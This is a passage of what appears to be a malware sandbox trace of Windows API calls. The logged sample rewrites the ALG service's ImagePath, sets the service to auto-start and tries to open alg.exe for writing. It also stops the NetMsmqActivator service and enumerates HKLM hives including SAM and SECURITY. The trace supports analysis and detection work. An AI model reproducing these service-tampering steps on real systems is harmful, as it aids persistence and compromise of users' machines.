lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0228.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0228.396] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.396] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0228.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0228.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.444] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0228.444] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\alg.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\alg.exe" [0228.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0228.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.444] LocalFree (hMem=0x7e2238) returned 0x0 [0228.444] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0228.444] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x2) returned 0x8038a0 [0228.444] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.464] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.464] RegCloseKey (hKey=0xc4) returned 0x0 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.464] RegCloseKey (hKey=0x148) returned 0x0 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.465] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.465] GetLastError () returned 0x20 [0228.465] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.466] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.466] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.466] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x20) returned 0x803990 [0228.466] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x433, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.466] GetLastError () returned 0x426 [0228.466] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.467] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.468] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.468] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.468] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.469] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.469] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.469] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.470] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.470] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.470] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.471] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.471] RtlFreeHeap 